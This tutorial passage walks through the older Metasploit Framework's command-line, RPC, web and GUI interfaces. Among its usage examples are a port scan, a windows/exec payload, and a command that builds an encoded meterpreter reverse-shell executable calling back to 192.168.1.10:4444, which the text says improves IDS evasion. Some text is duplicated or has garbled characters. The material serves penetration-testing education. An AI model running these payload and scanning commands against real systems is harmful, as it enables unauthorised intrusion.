msfopcode command<br />SUPPORTED COMMANDS<br />stats Display database statistics<br />locales Display supported locales<br />metatypes Display Supported opcode meta types (Ex: imp reg)<br />groups Display supported opcode groups (Ex:esp=>eip)<br />types Display supported opcode type (Ex: imp esp)<br />platforms Display supported platforms<br />modules Display information about specific modules<br />search Search for opcode given a set of criteria<br />The purpose of the stats command is to show the current database statistics, such as the number of opcodes and modules currently indexed by the database and the last time the database was updated. The output to this command looks something like this:<br />./msfopcode stats<br />Last Updated : Sat Sep 03 01:32:00 CDT 2005<br />Number of Opcodes : 12177419<br />Number of Opcode Types : 320<br />Number of Platforms : 14<br />Number of Architectures : 1<br />Number of Modules : 17683<br />Number of Module Segments: 71457<br />Number of Module Imports : 2065492<br />Number of Module Exports : 927637<br />Msfrpc/ Msfrpcd<br />The msfrpcd daemon uses the xmlrpc plugin to provide a remote interface to the Metasploit Framework. By default, This service listens on port 55553, uses SSL, and is password protected. The msfrpcd daemon uses the xmlrpc plugin to provide a remote interface to the Metasploit Framework. By default, This service listens on port 55553, uses SSL, and is password protected.The RPC interface allows access to a minimal set of framework APIs, covering the core framework, the module set, the job list, and the session table. These APIs can be used to enumerate modules, execute them, and interact with the resulting sessions and jobs.<br />[ USAGE ]<br />To activate the RPC interface, launch msfrpcd, or load msfconsole and load the xmlrpc plugin.<br />./msfrpcd -P s3cr3tp4ss<br />- or -<br />msf> load xmlrpc Pass=password<br />Once the interface is started, any compatible RPC interface be used to interact with the service. The 'msfrpc' client provides a Ruby shell that can be used to talk to the service.<br />./msfrpc -h server_name -P s3cr3tp4ss<br />[*] The 'rpc' object holds the RPC client interface<br />>> rpc.call(quot;
core.versionquot;
)<br />=> {quot;
versionquot;
=>quot;
3.3-devquot;
}<br />Msfd<br />The msfd utility opens a network interface to the msfconsole. It can be executed by specifying the IP address and the port on which it should listen for incoming connections.This allows a single user or multiple users to connect from a remote system to the framework. For instance, the following command will execute the msfd utility as a daemon listening on IP address 192.168.137.128 and port 55554:<br />msfd -a 192.168.137.128 –d –p 55554<br />Msfelfscan/ Msfpescan/ Msfmachscan<br />Msfelfscan, used to locate interesting addresses within executable and linkable format (ELF) programs, which may prove useful in developing exploits. Msfpescan does the same thing for Windows binaries.<br />Auxiliary Modules<br />Auxiliary modules are essentially used to cover the first stage of a penetration test—fingerprinting and vulnerability scanning. The Auxiliary module system includes the Scanner mixin, which makes it possible to write scanning modules that will target one host or a range of user specified hosts. Auxiliary modules can also import any Exploit module mixin, and leverage the protocol-specific application program interfaces (APIs) for Distributed Computing Environment Remote Procedure Call [DCERPC], HTTP, Server Message Block (SMB) and Sun Remote Procedure Call (RPC) protocols. Any exploitation code that does not use a payload would be part of the auxiliary module system.This currently includes dos/windows/smb/ms06_035_mailslot (exploits the MS06-035 kernel pool memory corruption bug in SRV.SYS) and dos/windows/smb/rras_vls_null_deref (triggers a NULL dereference in svchost.exe on all current versions of Windows that run the Routing and Remote Access Service [RRAS]).<br />List all auxiliary modules<br />Metasploit 3.0 supports the auxiliary modules which can be used to perform arbitrary, one-o_ actions such as port scanning, denial of service, and even fuzzing.<br />Now use the appropriate auxiliary module as per your requirement:<br />msf > use scanner/portscan/tcp<br />msf > show options<br />msf > set rhosts 192.168.1.100 or 192.168.1.1/24<br />msf > set ports 1-1024<br />msf > run<br />TCP portscan Result<br />Msfgui<br />The msfgui interface was introduced in version 3.1 and provides the functionality of msfconsole in addition to many new features. To access a msfconsole shell, select the Console option from the Window menu. To search for a module within the module tree, enter a string or regular expression into the search box and click the button labeled Find. All matching modules will appear the tree below. To execute a module, double-click its name in the tree, or right-click its name and select the Execute option. To view the source code of any module, right-click its name and select the View Code option.<br />This new GUI is multi-platform and it is based on Java, the Netbeans project for it can be found in the external/source/gui/msfguijava/ directory for those who want to contribute and have Ninja Skills with Java and user interface. The GUI can be ran by invoking the msfgui script at the base of the Metasploit directory<br />./msfgui<br />The Metasploit Graphical User Interface<br />Msfcli<br />The msfcli interface allows for exploits to be executed from the UNIX or Windows command line without the need to first launch the msfconsole interface. This is best suited for quickly launching an exploit by directly specifying the required parameters as command-line arguments. It is also particularly useful when a large number of systems need to be tested for the same vulnerability. A simple shell script can be written, which cycles through a range of IP addresses and uses msfcli to run exploits against each of the targeted systems. Using the –h switch gives us the options available with this interface A straightforward example that demonstrates the easiest way to run an exploit using the msfcli interface would be:<br />1. Display information about a selected exploit ./msfcli <exploit_name> S<br />2. Show available payloads ./msfcli <exploit_name> P<br />3. Choose the payload with this exploit, and display the options that need to be set<br />./msfcli <exploit_name> PAYLOAD=<payload_name> O<br />4. List available targets ./msfcli <exploit_name> PAYLOAD=<payload_name> T<br />5. Set the required options in option=value form and execute with the E mode<br />Exploiting Windows Box with Msfcli<br />Msfweb<br />The msfweb interface is based on Ruby on Rails. To access this interface, execute msfweb to start up the server. The msfweb interface uses the WEBrick web server to handle requests. By default, msfweb will listen on the loopback address (127.0.0.1) on port 55555. A log message should be displayed indicating that the service has started. To access the interface, open your browser to the appropriate URL (http://127.0.0.1:55555/ by default).<br />The main msfweb interface consists of a toolbar containing various icons and a background with the metasploit logo. If you want access to a console, click the Console link. This console interface is nearly identical to the standard msfconsole interface. The Exploits, Auxiliary, and Payloads links will walk you through the process of selecting a module, con_guring it, and running it. Once an exploit is run and a session is created, you can access these sessions from the Sessions link. These icons will open up a sub-window within the page. These windows can be moved, minimized, maximized, and closed.<br />The msfweb interface is the only GUI currently available to the MSF. It offers no security whatsoever, but is currently the recommended way to use the framework on Windows. This interface can be launched with a number of options, which are available with the –h switch, as shown in the following example:<br />./msfweb –h<br />Usage: msfweb <options><br />OPTIONS:<br />-a <opt> Bind to this IP address instead of loopback<br />-d Daemonize the web server<br />-h Help banner<br />-p <opt> Bind to this port instead of 55555<br />-v <opt> A number between 0 and 3 that controls log verbosity<br />For instance, the following command would launch the Web interface on IP address<br />192.168.1.10 on the default port 55555 and send it into daemon mode. We can connect to it through any supported browser (Mozilla Firefox, Microsoft Internet Explorer, or Safari).<br />./msfweb -a 192.168.1.10 –d<br />Now on any browser type url<br />http://192.168.1.10:5555<br />Msfencode<br />The msfencode utility provides direct access to the payload encoders provided with the framework. These can be listed out using the –l option. Other options that can be used are available using the –h switch.<br />A simple usage for this would be to use the msfpayload utility to generate the payload in raw format, and either pipe the output directly to msfencode or to read it from a file. Encoding ensures that bad characters do not occur in the payload, which also ends up improving the IDS evasion probability. Let’s say we want to encode the payload, but limit ourselves to an alpha-numeric output. We would also like to avoid the NULL (0x00) byte from occurring in the output. This can be done with the msfencode command As can be seen, the size of the output has increased due to the encoding—it was 116 bytes after running the msfpayload command where we redirected the output in raw format to the file in_exec_raw. But when this file is given as input to the encoder, it is now 296 bytes.<br />./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444<br />R | ./msfencode -c 5 -t exe > /tmp/meterpreter_reverse_tcp.exe<br />Generating encoded executable meterpreter reverse Payload<br />Msfpayload<br />The msfpayload utility enables the user to modify existing payloads depending on supplied parameters on the command line, and obtain the output in C, Perl, Ruby or Raw.The following example illustrates the use of msfpayload. The msfpayload –h command lists out the options that can be used along with all the available payloads. We now need to select a payload. The S option shows us information about a specific Payload.<br />After selecting a particular payload to play around with, we can then have msfpayload modify values within the payload, and produce an output with the C option for including the payload as part of a C program, or with the P option for using it in Perl scripts. It could also be output with the Raw format, which allows it to be piped to another program, such as msfencode, or could be redirected to a file. As can be seen from the output shown above, we need to set the CMD parameter in order for a payload to be created, which would execute that particular command upon successful exploitation.We will set it to a very straightforward dir command, and obtain the output for including it in a Ruby script, as shown below:<br />./msfpayload windows/exec CMD=calc.exe P<br />Msfconsole<br />The msfconsole is the traditional and primary means of using the MSF. After installation, the console can be simply launched by typing the command ./msfconsole (for UNIX) and msfconsole (for Windows) from within the path where it has been installed.The prompt that appears as shown in Figure 1.5, displays the graphical Metasploit logo, the version of the framework, the number of exploits, payloads, encoders, NOPs and auxiliary modules available. Immediately after launching the exploit, the intuitive command to type is help and the output from this is shown below.<br />Launching the MSF console<br />Output of the help or ? Command<br />